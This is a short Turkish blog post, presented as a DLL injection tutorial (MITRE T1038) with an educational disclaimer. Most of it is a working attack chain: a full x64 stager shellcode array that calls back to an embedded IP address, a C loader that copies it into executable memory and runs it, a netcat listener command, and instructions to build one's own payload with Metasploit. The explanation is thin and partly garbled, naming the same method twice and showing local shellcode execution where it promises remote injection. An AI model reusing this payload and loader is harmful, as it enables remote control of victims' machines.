|

Windows - Klasik DLL Enjeksiyonu Metodu



alicangonullu tarafından 2023-03-14 16:44:19 tarihinde yazıldı. Tahmini okunma süresi 7 dakika, 45 saniye. 91 kere görüntülendi.




Disclaimer


The information provided in this blog post is intended for educational and informational purposes only. It is not intended to encourage or promote any illegal or unethical activities, including hacking, cyberattacks, or any form of unauthorized access to computer systems, networks, or data.

Yasal Uyarı
Bu blog yazısında sağlanan bilgiler yalnızca eğitim ve bilgilendirme amaçlıdır. Bilgisayar korsanlığı, siber saldırılar veya bilgisayar sistemlerine, ağlara veya verilere herhangi bir şekilde yetkisiz erişim de dahil olmak üzere herhangi bir yasa dışı veya etik olmayan faaliyeti teşvik etme veya reklamlama amacı taşımaz.
Yasal bilgiler için yasal sayfasını inceleyebilirsiniz .

Merhabalar,

Bu yazımda sizlere MITRE Framework tarafından T1038 koduyla derecelendirilen DLL enjeksiyonu metodunun en ilkel halini anlatacağım. Özellikle DLL enjeksiyonunun nasıl çalıştığını anlamanız için çok önemli bir konudur. Şimdiden iyi okumalar dilerim.

Bilgi Gereksinimleri

  • İyi derecede C++ ve/veya C bilgisi
  • Windows API
  • VirtualAllocEx (C++)
  • OpenProcess
  • CreateRemoteThread

DLL Enjeksiyonu Nasıl Çalışır ?

 

Bu mantığa göre iki adet enjeksiyon metodu vardır. Birincisi thread üzerinden enjeksiyon diğeri ise thread üzerinden enjeksiyon. Öncelikle konunun anlatımında thread ile enjeksiyon, örnek Proof of Concept tasarımında ise process enjeksiyona değineceğim.

Thread enjeksiyonunda DLL dosyası Thread ile Memory arasına ve Memory üzerine enjekte edilir. Böylece program çalışırken DLL dosyası da arka planda çalışmaya devam eder. Bu sayede programın içerisindeki kütüphanelere de entegre olabilir ve hackleme metodu uygulanır.

NOT : İkisi de aslında benim kullandığım metod değildir. Bunlar biraz eski metodlardır ve şu an her ne kadar işe yarasalar da pek verimli olmayabiliyorlar. Tabi hepsi sizin programlama ve siber güvenlik yetinize bağlı olarak değişir :)

Örnek Çalışma

Örnek olarak klasik metodolojide bir shellcode enjekte edilir ve o shellcode üzerinden uygulama çalıştırılır. Benim örnek shellcode’um aşağıdaki gibidir.

unsigned char inj3ct0r_ch4r[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xe9\x93\x00\x00\x00\x5a\x48\x89\xc1\x41\xb8\xbb\x01\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x79\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x32\xc0\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\xba\x1f\x00\x00\x00\x6a\x00\x68\x80\x33\x00\x00\x49\x89\xe0\x41\xb9\x04\x00\x00\x00\x41\xba\x75\x46\x9e\x86\xff\xd5\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xb3\xe9\xe4\x01\x00\x00\xe8\x82\xff\xff\xff\x2f\x65\x52\x6e\x38\x00\xe9\x62\x62\xc0\xdb\x6d\xd3\x03\x32\xbb\xac\x11\xbd\x5c\xf9\xe1\xf9\x0c\xb8\x71\xcf\x7a\x00\x6c\x12\x2e\x18\xe0\x5f\xbd\x78\x94\xac\xc2\xf9\x75\xcc\x7f\x16\xf6\xd7\xec\x0a\x27\x69\x9b\x4e\x1a\xbe\x12\x7d\x6e\x28\xa9\x63\x6c\xa5\xa8\x4d\xca\x91\x7a\x9b\xa5\x99\xfe\x45\xe3\x53\xba\x96\x54\x2c\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x45\x4e\x55\x53\x29\x0d\x0a\x00\x43\xe0\x6b\x78\x0f\x6d\x97\x2c\xd8\x77\xcc\x09\xa8\x77\xe1\xf0\x92\x11\x9d\x5a\xe1\x2e\xe3\xc1\xcf\x36\x86\x4a\xd7\x71\xd7\x16\x13\x92\x79\x88\x08\x9e\x75\xf4\x98\xa1\x52\xe4\x58\x3b\xeb\xf4\xf9\x77\x18\x37\xcd\x0a\x76\xc3\x73\x5a\xaa\xd1\x5a\x2b\x14\x31\x78\xbf\x5f\x59\xa2\xdf\x4d\x5e\x81\xf7\x32\x70\x0a\x31\x80\xc3\x50\xaf\xbb\xcd\x68\x68\x02\x5f\xe3\xca\xfd\x63\x9a\x99\x9a\x39\x0d\xcd\x1e\x6b\x0a\xc4\xa2\x95\xc4\x50\xe1\xe6\x3e\x2e\x4f\xd6\xe3\xfe\x12\x61\xc7\x51\x89\x2c\x66\x12\x11\x70\xa8\x31\xfd\x46\x14\x40\xa8\x6a\x48\xb1\xd7\xb2\x3a\xd3\x85\x7a\xa4\xa7\x08\x25\x42\x48\x59\x2c\x30\x50\x3a\xad\xd8\x98\xbc\x7e\x9d\xae\x92\xe7\xca\xd9\xe7\x01\x09\xd4\x99\xe6\x94\x9b\x76\x4e\x62\x9e\x3a\x06\xb0\xaf\x91\x27\x73\x2e\x09\x56\x4d\x79\x4f\x07\xc7\xe6\x90\x47\x95\x28\xef\x78\xb3\x62\x49\x2c\x72\x03\x98\x07\xb0\xa9\x51\x55\x04\x4c\x72\xc4\x4e\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x7f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x36\x2e\x31\x32\x38\x00\x17\x50\x65\xea";

Bu shellcode önemlidir. Bunu metasploit ile sizin oluşturmanız gerekmektedir. Neticede program üzerinden siz de makinayla iletişim kuracaksınız. Shellcode içerisinde bağlantı kuracağınız IP ve port bilgileri bulunmalıdır.

Örnek olarak programınız,

#include 

int main(void) {
void * inj3ct0r_m3m;
DWORD oldprotect;
BOOL rv;
HANDLE th;
// Shellcode buradan getirilecek.
unsigned char inj3ct0r_ch4r[] = "shellcode_burada";
oldprotect = 0;
inj3ct0r_m3m = VirtualAlloc(0, sizeof(inj3ct0r_ch4r), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(inj3ct0r_m3m, inj3ct0r_ch4r, sizeof(inj3ct0r_ch4r));
rv = VirtualProtect(inj3ct0r_m3m, sizeof(inj3ct0r_ch4r), PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) inj3ct0r_m3m, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}

Ardından netcat ile gerekli portu dinlemeye alıyoruz. Ben bunlara şuanlık gerek duymuyorum. Sizin için komutumuz,

nc -lvp 6060 (6060 portunu dinliyorum)

Ardından shellcode içerisinde hedef gösterdiğiniz dinleyici IP adresinin 6060 portunu dinlemeniz gerekiyor. Ardından bağlantınız kurulacaktır.

Okuduğunuz için teşekkürler!